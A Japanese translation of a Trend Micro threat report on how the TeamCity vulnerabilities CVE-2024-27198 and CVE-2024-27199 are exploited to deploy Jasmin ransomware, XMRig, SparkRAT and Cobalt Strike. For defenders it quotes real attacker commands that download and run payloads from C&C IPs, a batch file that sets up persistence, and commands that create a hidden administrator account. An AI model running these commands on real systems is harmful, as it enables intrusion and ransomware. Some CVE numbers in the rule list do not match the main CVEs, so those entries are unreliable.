エクスプロイト&脆弱性
CI/CDツール「TeamCity」の脆弱性によってランサムウェア「Jasmin」などのマルウェアに感染するリスク
CI/CDツール「TeamCity」のオンプレミス版に潜む脆弱性「CVE-2024-27198」や「CVE-2024-27199 」が利用されると、管理者権限を行使され、ランサムウェア「Jasmin」に感染する可能性があります。
2024年3月4日、CI/CDツール「TeamCity」のオンプレミス版に絡む2つの重大な脆弱性「CVE-2024-27198」、「CVE-2024-27199」に関する情報が、ソフトウェア開発企業「JetBrains」から開示されました。当該脆弱性を持つサーバが攻撃者に狙われた場合、認証機構をすり抜けられ、管理者権限を行使される恐れがあります。
脆弱性「CVE-2024-27198」が誘発する不正行為として、下記が挙げられます(詳細については後に個別で解説)。
- ランサムウェア「Jasmin」を配備
- 暗号資産マイナー「XMRig」を配備
- 攻撃ツール「Cobalt Strike」のビーコンを配備
- バックドア「SparkRAT」を配備
- ドメイン探索および永続化のコマンドを実行
本脆弱性を突く手口の概念実証(POC:Proof-Of-Concept)がすでに公開されていることもあり、今後、攻撃の規模や範囲が拡大していくことが懸念されます。トレンドマイクロのテレメトリ情報からも、攻撃の活発化が示唆されています。こうした点を踏まえ、企業や組織では、本脆弱性への対策を早急に実施し、データやシステムを保護することが強く望まれます。JetBrains社も、脆弱性の影響を受けるTeamCityサーバの利用者に対し、ソフトウェアの早急なアップデートを呼びかけています。米サイバーセキュリティ・社会基盤安全保障庁(CISA)は、CVE-2024-27198を「攻撃に使用された既知の脆弱性」として追加しました。本稿の末尾に挙げるトレンドマイクロのソリューションをご利用の方は、今回の脆弱性から保護されています。
脆弱性の詳細
サイバーセキュリティ企業「Rapid7」は、今回の脆弱性に関する調査結果として、多数の概念実証がGitHubやソーシャルメディア上に出回っていること、それによってTeam CityのCI/CDサーバが実際に攻撃されていることを報告しました。
CVE-2024-27198:JetBrains TeamCityにおける認証回避の脆弱性
CVE-2024-27198は、TeamCityのWebコンポーネントに潜む脆弱性であり、認証回避などの不正行為に繋がります。当該のWebコンポーネントには、代替パスの問題(CWE-288)も内在しています。本脆弱性のCVSSスコアとして、9.8(重大)が割り当てられました。攻撃者は本脆弱性を突くことにより、未認証のままリモートコード実行(RCE:Remote Code Execution)に及ぶ可能性があります。
CVE-2024-27198を不正利用する上で、攻撃者は下記の条件を満たす必要があります。
- 未認証のHTTP 404レスポンスを作成
- HTTPのクエリ文字列「?jsp=/app/rest/server」を送信
- HTTPのパス値として「;.jsp」を追加
CVE-2024-27199:JetBrains TeamCityにおけるディレクトリトラバーサルの脆弱性
CVE-2024-27199は、TeamCityのWebコンポーネントに潜む脆弱性であり、ディレクトリ探索や認証回避などの不正行為に繋がります。本脆弱性のCVSSスコアとして、7.3(高)が割り当てられました。攻撃者は本脆弱性を突くことにより、機密情報の流出や、TeamCityが用いる設定情報の改変に及ぶ可能性があります。
TeamCityが用いるパスのうち、本脆弱性によってディレクトリ探索が可能となるものを下記に示します。
- /res/
- /update/
- /.well-known/acme-challenge/
侵入後に使用されるペイロード
TeamCityの脆弱性が告知されたのと同じ時間帯に、攻撃法の概念実証が複数件に渡って公開されました。そのすぐ後に、本脆弱性を突こうとする攻撃者の活動が確認されました。
上図に示すように、はじめに攻撃者はTeamCityのオンプレミスサーバが抱える脆弱性「CVE-2024-27198」や「CVE-2024-2719」を突く形で認証機構をすり抜け、さまざまな不正活動に及びます。例えば、TeamCityに関連するコマンドやスクリプトインタプリタ(例:PowerShell)の起動、またはRCEなどが挙げられます。こうした手口を介して攻撃者は探索用コマンドを実行し、さらに標的システム内にマルウェアをダウンロードします。続けて当該マルウェアをインストールすることで、標的システムをコマンドコントロール(C&C:Command and Control)サーバに接続させ、追加コマンドによってCobalt Strikeビーコンやリモートアクセス型トロイの木馬(RAT:Remote Access Trojan)を配備します。攻撃の最終段階ではランサムウェアのペイロードを配備、起動することによってファイルの内容を暗号化し、被害者に身代金の支払いを要求します。
ランサムウェア「Jasmin」を配備
初期に確認された攻撃事例の1つでは、侵入後の段階で、オープンソースによるランサムウェア「Jasmin」の亜種が配備されました。
トレンドマイクロのテレメトリ情報により、関連するプロセスツリーが下記のように確認されました。
親プロセス(呼び出し元):
C:\TeamCity\jre\bin\java.exe
対象プロセス:
C:\Windows\System32\cmd.exe /c "msiexec /q /i hxxp://207[.]246[.]102[.]242:56641/ABC[.]msi"
上記の「対象プロセス」は、以下のMSIファイルをダウロードします。
SHA256値:56942b36d5990f66a81955a94511298fd27cb6092e467110a7995a0654f17b1a
さらに本MSIファイルは、以下のPE実行ファイルをダウンロードして起動します。
SHA256値:32a630decb8fcc8a7ed4811f4293b9d5a242ce7865ab10c19a16fc4aa384bf64
本ランサムウェアは、暗号化対象ファイルの拡張子を「.lsoc」に変更し、ランサムノート(脅迫状)を「un-lock your files.html」の名前で作成します。
ランサムノート(.html)のソースコードを解析したところ、その内容は難読化され、さらに脅迫メッセージに相当する文字列をJavaScriptで生成する作りとなっていました。これは、セキュリティ製品の検知機能を回避し、脅迫メッセージを被害者に確実に見せつけるための手段と考えられます。
暗号資産マイナー「XMRig」を配備
Jasminの他、オープンソースの暗号資産マイニング型マルウェア「XMRig」がTeamCityサーバに配備される事例も見られました。同種の暗号資産マイナーが利用された攻撃活動としては、他にも2024年1月の「Ivanti Connect Secure VPNの不正利用」が挙げられます。トレンドマイクロのテレメトリ情報に基づくと、今回は下記のプロセスツリーによってXMRigがインストールされました。
親プロセス(呼び出し元):
C:\TeamCity\jre\bin\java.exe
対象プロセス:
C:\Windows\System32\cmd.exe /c "msiexec /q /i hxxp://146[.]70[.]149[.]185:58090/JavaAccessBridge-64.msi"
上記によってダウンロードされる以下のMSIファイルは、
SHA256値:7cbe0c55b3ca5d12be640e519e4399469399b3eaada20705342fa681befe8c7b
XMRigの主機能を担う以下の実行ファイルを
JavaAccessBridge-64.exe(SHA256値:01db4578f5fb7b29800f7b07a31fda7ff812309f62f7148fca0e246279f6ca61)
以下のディレクトリの配下に作成し、これを復号、実行します。
C:\Users\Public\Videos\
さらに、脆弱性のあるドライバ「WinRing0x64.sys」と設定ファイル「config.json」を併せて配備します。
以下のマルウェアは、
JavaAccessBridge-64.exe
はじめに以下のドライバなしでマイニング処理の実行を試みます。
WinRing0x64.sys
これに失敗した場合、WinRing0x64.sysの脆弱性を用いてCPU固有のレジスタ(MSR:Model Specific Register)にアクセスする形で、再度、マイニング処理の実行を試みます。
XMRigの起動に際しては、下記に示す設定ファイル「config.json」が使用されます。
XMRigのインストールはバッチファイルによって多段階で行われ、その際にcertutil.exeなどのLOLBinツール(Living-Off-the-Land Binary:攻撃前から端末内に存在しているツール類)が使用されます。図11に、Trend Vision One™によってプロセスツリーや実行コマンドを確認した結果を示します。
バックドア「SparkRAT」を配備
以上の他、Go言語によるオープンソースのバックドア「SparkRAT」が配備される事例も確認されました。分析の結果、TeamCityのディレクトリ内にある実行ファイル「java.exe」がPowerShellコマンドを介してバッチファイル「win.bat」をダウンロード、起動したことが判明しました。
親プロセス(呼び出し元):
C:\TeamCity\jre\bin\java.exe
対象プロセス:
C:\Windows\System32\cmd.exe /c "powershell -ep bypass IEX (New-Object System.Net.Webclient).DownloadFile('hxxp://38[.]54[.]94[.]13:8080/win.bat','c:\users\public\win.bat');start-process 'c:\users\public\win.bat'"
ダウンロードされたバッチファイル「win.bat」の内容を下記に示します。
@echo off
cmd /c certutil -urlcache -split -f hxxp://38[.]54[.]94[.]13:8080/86.dat c:\users\public\public.dat
cmd /c start /b c:\users\public\public.dat
sc create windowDefenSrv binPath= "cmd /c start /b c:\users\public\public.dat windowDefenSrv" start= auto
del c:\users\public\win.bat
本バッチファイルは、certutil.exeを不正利用して以下のマルウェアをダウンロード、実行します。
SparkRAT(SHA256値:908b30abf730a5b51a3d25965eff45a639e881a97505220a38591fe326e00697)
この後、自身(win.bat)を削除します。SparkRATは、C&Cサーバ「38[.]54[.]94[.]13」に接続します。
ダウンロードされたSparkRATのコードを解析したところ、以下のオープンソース・リポジトリにあるものと機能的に合致していることが判明しました。
https://github.com/XZB-1248/Spark
先述のXMRigと同様、SparkRATのインストールも各種バッチファイルを介して多段階で行われます。また、その際にさまざまなLOLBinが用いられます。図12に、関連するプロセスツリーや実行コマンドをTrend Vision OneのXDRテレメトリ情報によって確認した結果を示します。
ドメイン探索および永続化コマンドの実行
以上に述べたマルウェアの配備に加え、ネットワーク内でのインフラ探索や永続化を目的とするコマンドの実行も確認されました。これらコマンドは、TeamCityサーバ用ディレクトリにあるjava.exeによって起動されました。
親プロセス(呼び出し元):
C:\TeamCity\jre\bin\java.exe
探索や永続化のために、下記プロセスが実行されました。
C:\WINDOWS\system32\net.exe group /domain
C:\WINDOWS\system32\net1.exe localgroup Administratoren /add Default$
C:\WINDOWS\system32\net1.exe localgroup Administrators /add Default$
C:\WINDOWS\system32\net1.exe user /add Default$ GH{伏せ字}23gwg
C:\WINDOWS\system32\net1.exe user /del defaultuser0
C:\WINDOWS\system32\net1.exe user /domain
C:\WINDOWS\system32\net1.exe user administrator
C:\WINDOWS\system32\net1.exe user default$
C:\WINDOWS\system32\nltest.exe /domain_trusts
上記コマンドの中には、ユーザのアカウント、グループ、権限情報を操作するものが含まれます。これは、認証情報を持たない攻撃者がシステムに不正アクセスする際によく用いる手段です。特に、ユーザをローカル管理者グループに追加する操作は、攻撃者に高い権限を与えることになるため、注意が必要です。本操作が実行されれば、システム内に攻撃の足場を築かれ、長期に渡ってアクセス権を掌握される可能性があります。
Cobalt Strike用ビーコンの配備
最後に、脆弱なTeamCityサーバにCobalt Strike用ビーコンが配備される事例も確認されました。今回調査したシステムの1つにおいて、以下の当該ビーコンは、
SHA1値:db6bd96b152314db3c430df41b83fcf2e5712281
以下のコマンドによってダウンロードされ、
curl hxxp://83[.]97[.]20[.]141:81/beacon.out -o .conf
以下のパスに保存されました。
C:\TeamCity\bin\.conf.
本ビーコンは、トレンドマイクロの以下のパターンに合致するものとして検知されました。
Backdoor.Linux.COBEACON.SMYXDKV
その動きを解析したところ、本稿執筆時点で特定済みの以下のC&Cサーバに接続することが判明しました。
83[.]97[.]20[.]141
まとめ
オンプレミス版TeamCityの脆弱性に対する攻撃が活発化している状況は、本ツールのCI/CD機能を開発工程に活用している企業や組織にとって、大きな脅威となる可能性があります。トレンドマイクロのテレメトリ情報からも、攻撃者が本脆弱性を突いてTeamCityサーバを侵害し、ランサムウェアや暗号資産マイナー、バックドアを配備しようと画策している実態が示されました。
今回の攻撃は、標的とされた企業や組織が用いる基幹システムや機密データの可用性、完全性、機密性に影響を及ぼすだけでなく、金銭面、運用面でのリスクをもたらします。本脆弱性のリスクを軽減し、ランサムウェアによる恐喝行為や各種マルウェアによる被害を阻止する上では、迅速に対応することが特に重要です。
トレンドマイクロのソリューション
本稿で述べたオンプレミス版TeamCityの脆弱性に対する攻撃の検知または阻止が可能なソリューションとして、下記が挙げられます。
「Trend Cloud One™ - Network Security and TippingPoint™」のフィルタ
- 43957 - HTTP: JetBrains TeamCity Directory Traversal Vulnerability:JetBrains TeamCityにおけるディレクトリトラバーサルの脆弱性
- 43958 - HTTP: JetBrains TeamCity Authentication Bypass Vulnerability:JetBrains TeamCityにおける認証回避の脆弱性
「Trend Vision One Network Sensor」、「Trend Micro™ Deep Discovery™ Inspector(DDI)」のルール
- 5011 - CVE-2024-27198 - JetBrains TeamCity Auth Bypass Exploit - HTTP (Response):JetBrains TeamCityにおける認証回避の手口 - HTTP(レスポンス)
- 5012 - CVE-2024-27199 - JetBrains TeamCity Directory Traversal Exploit - HTTP (Response):JetBrains TeamCityにおけるディレクトリトラバーサルの手口 - HTTP(レスポンス)
「Trend Vision One Endpoint Security」、「Trend Cloud One - Workload and Endpoint Security」、「Trend Micro™ Deep Security™ Software, and Vulnerability Protection」のIPSルール
- 1011995 - JetBrains TeamCity Authentication Bypass Vulnerability (CVE-2024-21798):JetBrains TeamCityにおける認証回避の脆弱性
- 1011996 - JetBrains TeamCity Directory Traversal Vulnerability (CVE-2024-21799):JetBrains TeamCityにおけるディレクトリトラバーサルの脆弱性
Trend Vision Oneのクエリ
こちらの詳細をご参照ください。
MITRE ATT&CK Techniques
侵入の痕跡(IoC:Indicators of Compromise)
侵入の痕跡(IoC)はこちらで確認してください。
参考記事:
TeamCity Vulnerability Exploits Lead to Jasmin Ransomware, Other Malware Types」
By: Junestherry Dela Cruz, Peter Girnus
翻訳:清水 浩平(Core Technology Marketing, Trend Micro™ Research)